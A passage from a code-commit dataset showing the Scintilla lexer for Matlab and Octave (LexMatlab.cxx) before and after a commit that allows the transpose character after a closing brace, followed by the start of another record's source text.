an operator, but a '...' \n                                        sc.ChangeState(SCE_MATLAB_COMMENT);\n                                        transpose = false;\n\t\t\t\t} else {\n\t\t\t\t\tsc.SetState(SCE_MATLAB_DEFAULT);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tsc.SetState(SCE_MATLAB_DEFAULT);\n\t\t\t}\n\t\t} else if (sc.state == SCE_MATLAB_KEYWORD) {\n\t\t\tif (!isalnum(sc.ch) && sc.ch != '_') {\n\t\t\t\tchar s[100];\n\t\t\t\tsc.GetCurrentLowered(s, sizeof(s));\n\t\t\t\tif (keywords.InList(s)) {\n\t\t\t\t\tsc.SetState(SCE_MATLAB_DEFAULT);\n\t\t\t\t\ttranspose = false;\n\t\t\t\t} else {\n\t\t\t\t\tsc.ChangeState(SCE_MATLAB_IDENTIFIER);\n\t\t\t\t\tsc.SetState(SCE_MATLAB_DEFAULT);\n\t\t\t\t\ttranspose = true;\n\t\t\t\t}\n\t\t\t}\n\t\t} else if (sc.state == SCE_MATLAB_NUMBER) {\n\t\t\tif (!isdigit(sc.ch) && sc.ch != '.'\n\t\t\t        && !(sc.ch == 'e' || sc.ch == 'E')\n\t\t\t        && !((sc.ch == '+' || sc.ch == '-') && (sc.chPrev == 'e' || sc.chPrev == 'E'))) {\n\t\t\t\tsc.SetState(SCE_MATLAB_DEFAULT);\n\t\t\t\ttranspose = true;\n\t\t\t}\n\t\t} else if (sc.state == SCE_MATLAB_STRING) {\n\t\t\tif (sc.ch == '\\'') {\n\t\t\t\tif (sc.chNext == '\\'') {\n \t\t\t\t\tsc.Forward();\n\t\t\t\t} else {\n\t\t\t\t\tsc.ForwardSetState(SCE_MATLAB_DEFAULT);\n \t\t\t\t}\n\t\t\t}\n\t\t} else if (sc.state == SCE_MATLAB_DOUBLEQUOTESTRING) {\n\t\t\tif (sc.ch == '\\\\') {\n\t\t\t\tif (sc.chNext == '\\\"' || sc.chNext == '\\'' || sc.chNext == '\\\\') {\n\t\t\t\t\tsc.Forward();\n\t\t\t\t}\n\t\t\t} else if (sc.ch == '\\\"') {\n\t\t\t\tsc.ForwardSetState(SCE_MATLAB_DEFAULT);\n\t\t\t}\n\t\t} else if (sc.state == SCE_MATLAB_COMMAND) {\n\t\t\tif (sc.atLineEnd) {\n\t\t\t\tsc.SetState(SCE_MATLAB_DEFAULT);\n\t\t\t\ttranspose = false;\n\t\t\t}\n\t\t} else if (sc.state == SCE_MATLAB_COMMENT) {\n\t\t\t\/\/ end or start of a nested a block comment?\n\t\t\tif( IsCommentChar(sc.ch) && sc.chNext == '}' && nonSpaceColumn == column) {\n                           \tif(commentDepth > 0) commentDepth --;\n \n\t\t\t\tcurLine = styler.GetLine(sc.currentPos);\n\t\t\t\tstyler.SetLineState(curLine, commentDepth);\n\t\t\t\tsc.Forward();\n\n\t\t\t\tif (commentDepth == 0) {\n\t\t\t\t\tsc.ForwardSetState(SCE_D_DEFAULT);\n\t\t\t\t\ttranspose = false;\n\t\t\t\t}\n                        }\n                        else if( IsCommentChar(sc.ch) && sc.chNext == '{' && nonSpaceColumn == column)\n                        {\n \t\t\t\tcommentDepth ++;\n\n\t\t\t\tcurLine = styler.GetLine(sc.currentPos);\n\t\t\t\tstyler.SetLineState(curLine, commentDepth);\n\t\t\t\tsc.Forward();\n\t\t\t\ttranspose = false;\n\n                        } else if(commentDepth == 0) {\n\t\t\t\t\/\/ single line comment\n\t\t\t\tif (sc.atLineEnd || sc.ch == '\\r' || sc.ch == '\\n') {\n\t\t\t\t\tsc.SetState(SCE_MATLAB_DEFAULT);\n\t\t\t\t\ttranspose = false;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t\/\/ check start of a new state\n\t\tif (sc.state == SCE_MATLAB_DEFAULT) {\n\t\t\tif (IsCommentChar(sc.ch)) {\n\t\t\t\t\/\/ ncrement depth if we are a block comment\n\t\t\t\tif(sc.chNext == '{' && nonSpaceColumn == column)\n\t\t\t\t\tcommentDepth ++;\n\t\t\t\tcurLine = styler.GetLine(sc.currentPos);\n\t\t\t\tstyler.SetLineState(curLine, commentDepth);\n\t\t\t\tsc.SetState(SCE_MATLAB_COMMENT);\n\t\t\t} else if (sc.ch == '!' && sc.chNext != '=' ) {\n\t\t\t\tif(ismatlab) {\n\t\t\t\t\tsc.SetState(SCE_MATLAB_COMMAND);\n\t\t\t\t} else {\n\t\t\t\t\tsc.SetState(SCE_MATLAB_OPERATOR);\n\t\t\t\t}\n\t\t\t} else if (sc.ch == '\\'') {\n\t\t\t\tif (transpose) {\n\t\t\t\t\tsc.SetState(SCE_MATLAB_OPERATOR);\n\t\t\t\t} else {\n\t\t\t\t\tsc.SetState(SCE_MATLAB_STRING);\n\t\t\t\t}\n\t\t\t} else if (sc.ch == '\"') {\n\t\t\t\tsc.SetState(SCE_MATLAB_DOUBLEQUOTESTRING);\n\t\t\t} else if (isdigit(sc.ch) || (sc.ch == '.' && isdigit(sc.chNext))) {\n\t\t\t\tsc.SetState(SCE_MATLAB_NUMBER);\n\t\t\t} else if (isalpha(sc.ch)) {\n\t\t\t\tsc.SetState(SCE_MATLAB_KEYWORD);\n\t\t\t} else if (isoperator(static_cast<char>(sc.ch)) || sc.ch == '@' || sc.ch == '\\\\') {\n\t\t\t\tif (sc.ch == ')' || sc.ch == ']') {\n\t\t\t\t\ttranspose = true;\n\t\t\t\t} else {\n\t\t\t\t\ttranspose = false;\n\t\t\t\t}\n\t\t\t\tsc.SetState(SCE_MATLAB_OPERATOR);\n\t\t\t} else {\n\t\t\t\ttranspose = false;\n\t\t\t}\n\t\t}\n\t}\n\tsc.Complete();\n}\n\nstatic void ColouriseMatlabDoc(unsigned int startPos, int length, int initStyle,\n                               WordList *keywordlists[], Accessor &styler) {\n\tColouriseMatlabOctaveDoc(startPos, length, initStyle, keywordlists, styler, IsMatlabCommentChar, true);\n}\n\nstatic void ColouriseOctaveDoc(unsigned int startPos, int length, int initStyle,\n                               WordList *keywordlists[], Accessor &styler) {\n\tColouriseMatlabOctaveDoc(startPos, length, initStyle, keywordlists, styler, IsOctaveCommentChar, false);\n}\n\nstatic void FoldMatlabOctaveDoc(unsigned int startPos, int length, int,\n                                WordList *[], Accessor &styler,\n                                bool (*IsComment)(Accessor&, int, int)) {\n\n\tint endPos = startPos + length;\n\n\t\/\/ Backtrack to previous line in case need to fix its fold status\n\tint lineCurrent = styler.GetLine(startPos);\n\tif (startPos > 0) {\n\t\tif (lineCurrent > 0) {\n\t\t\tlineCurrent--;\n\t\t\tstartPos = styler.LineStart(lineCurrent);\n\t\t}\n\t}\n\tint spaceFlags = 0;\n\tint indentCurrent = styler.IndentAmount(lineCurrent, &spaceFlags, IsComment);\n\tchar chNext = styler[startPos];\n\tfor (int i = startPos; i < endPos; i++) {\n\t\tchar ch = chNext;\n\t\tchNext = styler.SafeGetCharAt(i + 1);\n\n\t\tif ((ch == '\\r' && chNext != '\\n') || (ch == '\\n') || (i == endPos)) {\n\t\t\tint lev = indentCurrent;\n\t\t\tint indentNext = styler.IndentAmount(lineCurrent + 1, &spaceFlags, IsComment);\n\t\t\tif (!(indentCurrent & SC_FOLDLEVELWHITEFLAG)) {\n\t\t\t\t\/\/ Only non whitespace lines can be headers\n\t\t\t\tif ((indentCurrent & SC_FOLDLEVELNUMBERMASK) < (indentNext & SC_FOLDLEVELNUMBERMASK)) {\n\t\t\t\t\tlev |= SC_FOLDLEVELHEADERFLAG;\n\t\t\t\t} else if (indentNext & SC_FOLDLEVELWHITEFLAG) {\n\t\t\t\t\t\/\/ Line after is blank so check the next - maybe should continue further?\n\t\t\t\t\tint spaceFlags2 = 0;\n\t\t\t\t\tint indentNext2 = styler.IndentAmount(lineCurrent + 2, &spaceFlags2, IsComment);\n\t\t\t\t\tif ((indentCurrent & SC_FOLDLEVELNUMBERMASK) < (indentNext2 & SC_FOLDLEVELNUMBERMASK)) {\n\t\t\t\t\t\tlev |= SC_FOLDLEVELHEADERFLAG;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tindentCurrent = indentNext;\n\t\t\tstyler.SetLevel(lineCurrent, lev);\n\t\t\tlineCurrent++;\n\t\t}\n\t}\n}\n\nstatic void FoldMatlabDoc(unsigned int startPos, int length, int initStyle,\n                          WordList *keywordlists[], Accessor &styler) {\n\tFoldMatlabOctaveDoc(startPos, length, initStyle, keywordlists, styler, IsMatlabComment);\n}\n\nstatic void FoldOctaveDoc(unsigned int startPos, int length, int initStyle,\n                          WordList *keywordlists[], Accessor &styler) {\n\tFoldMatlabOctaveDoc(startPos, length, initStyle, keywordlists, styler, IsOctaveComment);\n}\n\nstatic const char * const matlabWordListDesc[] = {\n\t\"Keywords\",\n\t0\n};\n\nstatic const char * const octaveWordListDesc[] = {\n\t\"Keywords\",\n\t0\n};\n\nLexerModule lmMatlab(SCLEX_MATLAB, ColouriseMatlabDoc, \"matlab\", FoldMatlabDoc, matlabWordListDesc);\n\nLexerModule lmOctave(SCLEX_OCTAVE, ColouriseOctaveDoc, \"octave\", FoldOctaveDoc, octaveWordListDesc);\n<commit_msg>Support transpose character after {} operator<commit_after>\/\/ Scintilla source code edit control\n\/** @file LexMatlab.cxx\n ** Lexer for Matlab.\n ** Written by Jos Fonseca\n **\n ** Changes by Christoph Dalitz 2003\/12\/04:\n **   - added support for Octave\n **   - Strings can now be included both in single or double quotes\n **\n ** Changes by John Donoghue 2012\/04\/02\n **   - added block comment (and nested block comments)\n **   - added ... displayed as a comment\n **   - removed unused IsAWord functions\n **   - added some comments\n **\n ** Changes by John Donoghue 2014\/08\/01\n **   - fix allowed transpose ' after {} operator\n **\/\n\/\/ Copyright 1998-2001 by Neil Hodgson <neilh@scintilla.org>\n\/\/ The License.txt file describes the conditions under which this software may be distributed.\n\n#include <stdlib.h>\n#include <string.h>\n#include <stdio.h>\n#include <stdarg.h>\n#include <assert.h>\n#include <ctype.h>\n\n#include \"ILexer.h\"\n#include \"Scintilla.h\"\n#include \"SciLexer.h\"\n\n#include \"WordList.h\"\n#include \"LexAccessor.h\"\n#include \"Accessor.h\"\n#include \"StyleContext.h\"\n#include \"CharacterSet.h\"\n#include \"LexerModule.h\"\n\n#ifdef SCI_NAMESPACE\nusing namespace Scintilla;\n#endif\n\nstatic bool IsMatlabCommentChar(int c) {\n\treturn (c == '%') ;\n}\n\nstatic bool IsOctaveCommentChar(int c) {\n\treturn (c == '%' || c == '#') ;\n}\n\nstatic bool IsMatlabComment(Accessor &styler, int pos, int len) {\n\treturn len > 0 && IsMatlabCommentChar(styler[pos]) ;\n}\n\nstatic bool IsOctaveComment(Accessor &styler, int pos, int len) {\n\treturn len > 0 && IsOctaveCommentChar(styler[pos]) ;\n}\n\nstatic void ColouriseMatlabOctaveDoc(\n            unsigned int startPos, int length, int initStyle,\n            WordList *keywordlists[], Accessor &styler,\n            bool (*IsCommentChar)(int),\n            bool ismatlab) {\n\n\tWordList &keywords = *keywordlists[0];\n\n\tstyler.StartAt(startPos);\n\n\t\/\/ boolean for when the ' is allowed to be transpose vs the start\/end \n\t\/\/ of a string\n\tbool transpose = false;\n\n\t\/\/ approximate position of first non space character in a line\n\tint nonSpaceColumn = -1;\n\t\/\/ approximate column position of the current character in a line\n\tint column = 0;\n\n        \/\/ use the line state of each line to store the block comment depth\n\tint curLine = styler.GetLine(startPos);\n        int commentDepth = curLine > 0 ? styler.GetLineState(curLine-1) : 0;\n\n\n\tStyleContext sc(startPos, length, initStyle, styler);\n\n\tfor (; sc.More(); sc.Forward(), column++) {\n\n               \tif(sc.atLineStart) {\n\t\t\t\/\/ set the line state to the current commentDepth \n\t\t\tcurLine = styler.GetLine(sc.currentPos);\n                        styler.SetLineState(curLine, commentDepth);\n\n\t\t\t\/\/ reset the column to 0, nonSpace to -1 (not set)\n\t\t\tcolumn = 0;\n\t\t\tnonSpaceColumn = -1; \n\t\t}\n\n\t\t\/\/ save the column position of first non space character in a line\n\t\tif((nonSpaceColumn == -1) && (! IsASpace(sc.ch)))\n\t\t{\n\t\t\tnonSpaceColumn = column;\n\t\t}\n\n\t\t\/\/ check for end of states\n\t\tif (sc.state == SCE_MATLAB_OPERATOR) {\n\t\t\tif (sc.chPrev == '.') {\n\t\t\t\tif (sc.ch == '*' || sc.ch == '\/' || sc.ch == '\\\\' || sc.ch == '^') {\n\t\t\t\t\tsc.ForwardSetState(SCE_MATLAB_DEFAULT);\n\t\t\t\t\ttranspose = false;\n\t\t\t\t} else if (sc.ch == '\\'') {\n\t\t\t\t\tsc.ForwardSetState(SCE_MATLAB_DEFAULT);\n\t\t\t\t\ttranspose = true;\n                                } else if(sc.ch == '.' && sc.chNext == '.') {\n                                        \/\/ we werent an operator, but a '...' \n                                        sc.ChangeState(SCE_MATLAB_COMMENT);\n                                        transpose = false;\n\t\t\t\t} else {\n\t\t\t\t\tsc.SetState(SCE_MATLAB_DEFAULT);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tsc.SetState(SCE_MATLAB_DEFAULT);\n\t\t\t}\n\t\t} else if (sc.state == SCE_MATLAB_KEYWORD) {\n\t\t\tif (!isalnum(sc.ch) && sc.ch != '_') {\n\t\t\t\tchar s[100];\n\t\t\t\tsc.GetCurrentLowered(s, sizeof(s));\n\t\t\t\tif (keywords.InList(s)) {\n\t\t\t\t\tsc.SetState(SCE_MATLAB_DEFAULT);\n\t\t\t\t\ttranspose = false;\n\t\t\t\t} else {\n\t\t\t\t\tsc.ChangeState(SCE_MATLAB_IDENTIFIER);\n\t\t\t\t\tsc.SetState(SCE_MATLAB_DEFAULT);\n\t\t\t\t\ttranspose = true;\n\t\t\t\t}\n\t\t\t}\n\t\t} else if (sc.state == SCE_MATLAB_NUMBER) {\n\t\t\tif (!isdigit(sc.ch) && sc.ch != '.'\n\t\t\t        && !(sc.ch == 'e' || sc.ch == 'E')\n\t\t\t        && !((sc.ch == '+' || sc.ch == '-') && (sc.chPrev == 'e' || sc.chPrev == 'E'))) {\n\t\t\t\tsc.SetState(SCE_MATLAB_DEFAULT);\n\t\t\t\ttranspose = true;\n\t\t\t}\n\t\t} else if (sc.state == SCE_MATLAB_STRING) {\n\t\t\tif (sc.ch == '\\'') {\n\t\t\t\tif (sc.chNext == '\\'') {\n \t\t\t\t\tsc.Forward();\n\t\t\t\t} else {\n\t\t\t\t\tsc.ForwardSetState(SCE_MATLAB_DEFAULT);\n \t\t\t\t}\n\t\t\t}\n\t\t} else if (sc.state == SCE_MATLAB_DOUBLEQUOTESTRING) {\n\t\t\tif (sc.ch == '\\\\') {\n\t\t\t\tif (sc.chNext == '\\\"' || sc.chNext == '\\'' || sc.chNext == '\\\\') {\n\t\t\t\t\tsc.Forward();\n\t\t\t\t}\n\t\t\t} else if (sc.ch == '\\\"') {\n\t\t\t\tsc.ForwardSetState(SCE_MATLAB_DEFAULT);\n\t\t\t}\n\t\t} else if (sc.state == SCE_MATLAB_COMMAND) {\n\t\t\tif (sc.atLineEnd) {\n\t\t\t\tsc.SetState(SCE_MATLAB_DEFAULT);\n\t\t\t\ttranspose = false;\n\t\t\t}\n\t\t} else if (sc.state == SCE_MATLAB_COMMENT) {\n\t\t\t\/\/ end or start of a nested a block comment?\n\t\t\tif( IsCommentChar(sc.ch) && sc.chNext == '}' && nonSpaceColumn == column) {\n                           \tif(commentDepth > 0) commentDepth --;\n \n\t\t\t\tcurLine = styler.GetLine(sc.currentPos);\n\t\t\t\tstyler.SetLineState(curLine, commentDepth);\n\t\t\t\tsc.Forward();\n\n\t\t\t\tif (commentDepth == 0) {\n\t\t\t\t\tsc.ForwardSetState(SCE_D_DEFAULT);\n\t\t\t\t\ttranspose = false;\n\t\t\t\t}\n                        }\n                        else if( IsCommentChar(sc.ch) && sc.chNext == '{' && nonSpaceColumn == column)\n                        {\n \t\t\t\tcommentDepth ++;\n\n\t\t\t\tcurLine = styler.GetLine(sc.currentPos);\n\t\t\t\tstyler.SetLineState(curLine, commentDepth);\n\t\t\t\tsc.Forward();\n\t\t\t\ttranspose = false;\n\n                        } else if(commentDepth == 0) {\n\t\t\t\t\/\/ single line comment\n\t\t\t\tif (sc.atLineEnd || sc.ch == '\\r' || sc.ch == '\\n') {\n\t\t\t\t\tsc.SetState(SCE_MATLAB_DEFAULT);\n\t\t\t\t\ttranspose = false;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t\/\/ check start of a new state\n\t\tif (sc.state == SCE_MATLAB_DEFAULT) {\n\t\t\tif (IsCommentChar(sc.ch)) {\n\t\t\t\t\/\/ ncrement depth if we are a block comment\n\t\t\t\tif(sc.chNext == '{' && nonSpaceColumn == column)\n\t\t\t\t\tcommentDepth ++;\n\t\t\t\tcurLine = styler.GetLine(sc.currentPos);\n\t\t\t\tstyler.SetLineState(curLine, commentDepth);\n\t\t\t\tsc.SetState(SCE_MATLAB_COMMENT);\n\t\t\t} else if (sc.ch == '!' && sc.chNext != '=' ) {\n\t\t\t\tif(ismatlab) {\n\t\t\t\t\tsc.SetState(SCE_MATLAB_COMMAND);\n\t\t\t\t} else {\n\t\t\t\t\tsc.SetState(SCE_MATLAB_OPERATOR);\n\t\t\t\t}\n\t\t\t} else if (sc.ch == '\\'') {\n\t\t\t\tif (transpose) {\n\t\t\t\t\tsc.SetState(SCE_MATLAB_OPERATOR);\n\t\t\t\t} else {\n\t\t\t\t\tsc.SetState(SCE_MATLAB_STRING);\n\t\t\t\t}\n\t\t\t} else if (sc.ch == '\"') {\n\t\t\t\tsc.SetState(SCE_MATLAB_DOUBLEQUOTESTRING);\n\t\t\t} else if (isdigit(sc.ch) || (sc.ch == '.' && isdigit(sc.chNext))) {\n\t\t\t\tsc.SetState(SCE_MATLAB_NUMBER);\n\t\t\t} else if (isalpha(sc.ch)) {\n\t\t\t\tsc.SetState(SCE_MATLAB_KEYWORD);\n\t\t\t} else if (isoperator(static_cast<char>(sc.ch)) || sc.ch == '@' || sc.ch == '\\\\') {\n\t\t\t\tif (sc.ch == ')' || sc.ch == ']' || sc.ch == '}') {\n\t\t\t\t\ttranspose = true;\n\t\t\t\t} else {\n\t\t\t\t\ttranspose = false;\n\t\t\t\t}\n\t\t\t\tsc.SetState(SCE_MATLAB_OPERATOR);\n\t\t\t} else {\n\t\t\t\ttranspose = false;\n\t\t\t}\n\t\t}\n\t}\n\tsc.Complete();\n}\n\nstatic void ColouriseMatlabDoc(unsigned int startPos, int length, int initStyle,\n                               WordList *keywordlists[], Accessor &styler) {\n\tColouriseMatlabOctaveDoc(startPos, length, initStyle, keywordlists, styler, IsMatlabCommentChar, true);\n}\n\nstatic void ColouriseOctaveDoc(unsigned int startPos, int length, int initStyle,\n                               WordList *keywordlists[], Accessor &styler) {\n\tColouriseMatlabOctaveDoc(startPos, length, initStyle, keywordlists, styler, IsOctaveCommentChar, false);\n}\n\nstatic void FoldMatlabOctaveDoc(unsigned int startPos, int length, int,\n                                WordList *[], Accessor &styler,\n                                bool (*IsComment)(Accessor&, int, int)) {\n\n\tint endPos = startPos + length;\n\n\t\/\/ Backtrack to previous line in case need to fix its fold status\n\tint lineCurrent = styler.GetLine(startPos);\n\tif (startPos > 0) {\n\t\tif (lineCurrent > 0) {\n\t\t\tlineCurrent--;\n\t\t\tstartPos = styler.LineStart(lineCurrent);\n\t\t}\n\t}\n\tint spaceFlags = 0;\n\tint indentCurrent = styler.IndentAmount(lineCurrent, &spaceFlags, IsComment);\n\tchar chNext = styler[startPos];\n\tfor (int i = startPos; i < endPos; i++) {\n\t\tchar ch = chNext;\n\t\tchNext = styler.SafeGetCharAt(i + 1);\n\n\t\tif ((ch == '\\r' && chNext != '\\n') || (ch == '\\n') || (i == endPos)) {\n\t\t\tint lev = indentCurrent;\n\t\t\tint indentNext = styler.IndentAmount(lineCurrent + 1, &spaceFlags, IsComment);\n\t\t\tif (!(indentCurrent & SC_FOLDLEVELWHITEFLAG)) {\n\t\t\t\t\/\/ Only non whitespace lines can be headers\n\t\t\t\tif ((indentCurrent & SC_FOLDLEVELNUMBERMASK) < (indentNext & SC_FOLDLEVELNUMBERMASK)) {\n\t\t\t\t\tlev |= SC_FOLDLEVELHEADERFLAG;\n\t\t\t\t} else if (indentNext & SC_FOLDLEVELWHITEFLAG) {\n\t\t\t\t\t\/\/ Line after is blank so check the next - maybe should continue further?\n\t\t\t\t\tint spaceFlags2 = 0;\n\t\t\t\t\tint indentNext2 = styler.IndentAmount(lineCurrent + 2, &spaceFlags2, IsComment);\n\t\t\t\t\tif ((indentCurrent & SC_FOLDLEVELNUMBERMASK) < (indentNext2 & SC_FOLDLEVELNUMBERMASK)) {\n\t\t\t\t\t\tlev |= SC_FOLDLEVELHEADERFLAG;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tindentCurrent = indentNext;\n\t\t\tstyler.SetLevel(lineCurrent, lev);\n\t\t\tlineCurrent++;\n\t\t}\n\t}\n}\n\nstatic void FoldMatlabDoc(unsigned int startPos, int length, int initStyle,\n                          WordList *keywordlists[], Accessor &styler) {\n\tFoldMatlabOctaveDoc(startPos, length, initStyle, keywordlists, styler, IsMatlabComment);\n}\n\nstatic void FoldOctaveDoc(unsigned int startPos, int length, int initStyle,\n                          WordList *keywordlists[], Accessor &styler) {\n\tFoldMatlabOctaveDoc(startPos, length, initStyle, keywordlists, styler, IsOctaveComment);\n}\n\nstatic const char * const matlabWordListDesc[] = {\n\t\"Keywords\",\n\t0\n};\n\nstatic const char * const octaveWordListDesc[] = {\n\t\"Keywords\",\n\t0\n};\n\nLexerModule lmMatlab(SCLEX_MATLAB, ColouriseMatlabDoc, \"matlab\", FoldMatlabDoc, matlabWordListDesc);\n\nLexerModule lmOctave(SCLEX_OCTAVE, ColouriseOctaveDoc, \"octave\", FoldOctaveDoc, octaveWordListDesc);\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Scintilla source code edit control\n\/** @file LexMatlab.cxx\n ** Lexer for Matlab.\n ** Written by Jos Fonseca\n **\n ** Changes by Christoph Dalitz 2003\/12\/04:\n **   - added support for Octave\n **   - Strings can now be included both in single or double quotes\n **\n ** Changes by John Donoghue 2012\/04\/02\n **   - added block comment (and nested block comments)\n **   - added ... displayed as a comment\n **   - removed unused IsAWord functions\n **   - added some comments\n **\/\n\/\/ Copyright 1998-2001 by Neil Hodgson <neilh@scintilla.org>\n\/\/ The License.txt file describes the conditions under which this software may be distributed.\n\n#include <stdlib.h>\n#include <string.h>\n#include <stdio.h>\n#include <stdarg.h>\n#include <assert.h>\n#include <ctype.h>\n\n#include \"ILexer.h\"\n#include \"Scintilla.h\"\n#include \"SciLexer.h\"\n\n#include \"WordList.h\"\n#include \"LexAccessor.h\"\n#include \"Accessor.h\"\n#include \"StyleContext.h\"\n#include \"CharacterSet.h\"\n#include \"LexerModule.h\"\n\n#ifdef SCI_NAMESPACE\nusing namespace Scintilla;\n#endif\n\nstatic bool IsMatlabCommentChar(int c) {\n\treturn (c == '%') ;\n}\n\nstatic bool IsOctaveCommentChar(int c) {\n\treturn (c == '%' || c == '#') ;\n}\n\nstatic bool IsMatlabComment(Accessor &styler, int pos, int len) {\n\treturn len > 0 && IsMatlabCommentChar(styler[pos]) ;\n}\n\nstatic bool IsOctaveComment(Accessor &styler, int pos, int len) {\n\treturn len > 0 && IsOctaveCommentChar(styler[pos]) ;\n}\n\nstatic void ColouriseMatlabOctaveDoc(\n            unsigned int startPos, int length, int initStyle,\n            WordList *keywordlists[], Accessor &styler,\n            bool (*IsCommentChar)(int),\n            bool ismatlab) {\n\n\tWordList &keywords = *keywordlists[0];\n\n\tstyler.StartAt(startPos);\n\n\t\/\/ boolean for when the ' is allowed to be transpose vs the start\/end \n\t\/\/ of a string\n\tbool transpose = false;\n\n\t\/\/ approximate position of first non space character in a line\n\tint nonSpaceColumn = -1;\n\t\/\/ approximate column position of the current character in a line\n\tint column = 0;\n\n        \/\/ use the line state of each line to store the block comment depth\n\tint curLine = styler.GetLine(startPos);\n        int commentDepth = curLine > 0 ? styler.GetLineState(curLine-1) : 0;\n\n\n\tStyleContext sc(startPos, length, initStyle, styler);\n\n\tfor (; sc.More(); sc.Forward(), column++) {\n\n               \tif(sc.atLineStart) {\n\t\t\t\/\/ set the line state to the current commentDepth \n\t\t\tcurLine = styler.GetLine(sc.currentPos);\n                        styler.SetLineState(curLine, commentDepth);\n\n\t\t\t\/\/ reset the column to 0, nonSpace to -1 (not set)\n\t\t\tcolumn = 0;\n\t\t\tnonSpaceColumn = -1; \n\t\t}\n\n\t\t\/\/ save the column position of first non space character in a line\n\t\tif((nonSpaceColumn == -1) && (! IsASpace(sc.ch)))\n\t\t{\n\t\t\tnonSpaceColumn = column;\n\t\t}\n\n\t\t\/\/ check for end of states\n\t\tif (sc.state == SCE_MATLAB_OPERATOR) {\n\t\t\tif (sc.chPrev == '.') {\n\t\t\t\tif (sc.ch == '*' || sc.ch == '\/' || sc.ch == '\\\\' || sc.ch == '^') {\n\t\t\t\t\tsc.ForwardSetState(SCE_MATLAB_DEFAULT);\n\t\t\t\t\ttranspose = false;\n\t\t\t\t} else if (sc.ch == '\\'') {\n\t\t\t\t\tsc.ForwardSetState(SCE_MATLAB_DEFAULT);\n\t\t\t\t\ttranspose = true;\n                                } else if(sc.ch == '.' && sc.chNext == '.') {\n                                        \/\/ we werent an operator, but a '...' \n                                        sc.ChangeState(SCE_MATLAB_COMMENT);\n                                        transpose = false;\n\t\t\t\t} else {\n\t\t\t\t\tsc.SetState(SCE_MATLAB_DEFAULT);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tsc.SetState(SCE_MATLAB_DEFAULT);\n\t\t\t}\n\t\t} else if (sc.state == SCE_MATLAB_KEYWORD) {\n\t\t\tif (!isalnum(sc.ch) && sc.ch != '_') {\n\t\t\t\tchar s[100];\n\t\t\t\tsc.GetCurrentLowered(s, sizeof(s));\n\t\t\t\tif (keywords.InList(s)) {\n\t\t\t\t\tsc.SetState(SCE_MATLAB_DEFAULT);\n\t\t\t\t\ttranspose = false;\n\t\t\t\t} else {\n\t\t\t\t\tsc.ChangeState(SCE_MATLAB_IDENTIFIER);\n\t\t\t\t\tsc.SetState(SCE_MATLAB_DEFAULT);\n\t\t\t\t\ttranspose = true;\n\t\t\t\t}\n\t\t\t}\n\t\t} else if (sc.state == SCE_MATLAB_NUMBER) {\n\t\t\tif (!isdigit(sc.ch) && sc.ch != '.'\n\t\t\t        && !(sc.ch == 'e' || sc.ch == 'E')\n\t\t\t        && !((sc.ch == '+' || sc.ch == '-') && (sc.chPrev == 'e' || sc.chPrev == 'E'))) {\n\t\t\t\tsc.SetState(SCE_MATLAB_DEFAULT);\n\t\t\t\ttranspose = true;\n\t\t\t}\n\t\t} else if (sc.state == SCE_MATLAB_STRING) {\n\t\t\tif (sc.ch == '\\'') {\n\t\t\t\tif (sc.chNext == '\\'') {\n \t\t\t\t\tsc.Forward();\n\t\t\t\t} else {\n\t\t\t\t\tsc.ForwardSetState(SCE_MATLAB_DEFAULT);\n \t\t\t\t}\n\t\t\t}\n\t\t} else if (sc.state == SCE_MATLAB_DOUBLEQUOTESTRING) {\n\t\t\tif (sc.ch == '\\\\') {\n\t\t\t\tif (sc.chNext == '\\\"' || sc.chNext == '\\'' || sc.chNext == '\\\\') {\n\t\t\t\t\tsc.Forward();\n\t\t\t\t}\n\t\t\t} else if (sc.ch == '\\\"') {\n\t\t\t\tsc.ForwardSetState(SCE_MATLAB_DEFAULT);\n\t\t\t}\n\t\t} else if (sc.state == SCE_MATLAB_COMMAND) {\n\t\t\tif (sc.atLineEnd) {\n\t\t\t\tsc.SetState(SCE_MATLAB_DEFAULT);\n\t\t\t\ttranspose = false;\n\t\t\t}\n\t\t} else if (sc.state == SCE_MATLAB_COMMENT) {\n\t\t\t\/\/ end or start of a nested a block comment?\n\t\t\tif( IsCommentChar(sc.ch) && sc.chNext == '}' && nonSpaceColumn == column) {\n                           \tif(commentDepth > 0) commentDepth --;\n \n\t\t\t\tcurLine = styler.GetLine(sc.currentPos);\n\t\t\t\tstyler.SetLineState(curLine, commentDepth);\n\t\t\t\tsc.Forward();\n\n\t\t\t\tif (commentDepth == 0) {\n\t\t\t\t\tsc.ForwardSetState(SCE_D_DEFAULT);\n\t\t\t\t\ttranspose = false;\n\t\t\t\t}\n                        }\n                        else if( IsCommentChar(sc.ch) && sc.chNext == '{' && nonSpaceColumn == column)\n                        {\n \t\t\t\tcommentDepth ++;\n\n\t\t\t\tcurLine = styler.GetLine(sc.currentPos);\n\t\t\t\tstyler.SetLineState(curLine, commentDepth);\n\t\t\t\tsc.Forward();\n\t\t\t\ttranspose = false;\n\n                        } else if(commentDepth == 0) {\n\t\t\t\t\/\/ single line comment\n\t\t\t\tif (sc.atLineEnd || sc.ch == '\\r' || sc.ch == '\\n') {\n\t\t\t\t\tsc.SetState(SCE_MATLAB_DEFAULT);\n\t\t\t\t\ttranspose = false;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t\/\/ check start of a new state\n\t\tif (sc.state == SCE_MATLAB_DEFAULT) {\n\t\t\tif (IsCommentChar(sc.ch)) {\n\t\t\t\t\/\/ ncrement depth if we are a block comment\n\t\t\t\tif(sc.chNext == '{' && nonSpaceColumn == column)\n\t\t\t\t\tcommentDepth ++;\n\t\t\t\tcurLine = styler.GetLine(sc.currentPos);\n\t\t\t\tstyler.SetLineState(curLine, commentDepth);\n\t\t\t\tsc.SetState(SCE_MATLAB_COMMENT);\n\t\t\t} else if (sc.ch == '!' && sc.chNext != '=' ) {\n\t\t\t\tif(ismatlab) {\n\t\t\t\t\tsc.SetState(SCE_MATLAB_COMMAND);\n\t\t\t\t} else {\n\t\t\t\t\tsc.SetState(SCE_MATLAB_OPERATOR);\n\t\t\t\t}\n\t\t\t} else if 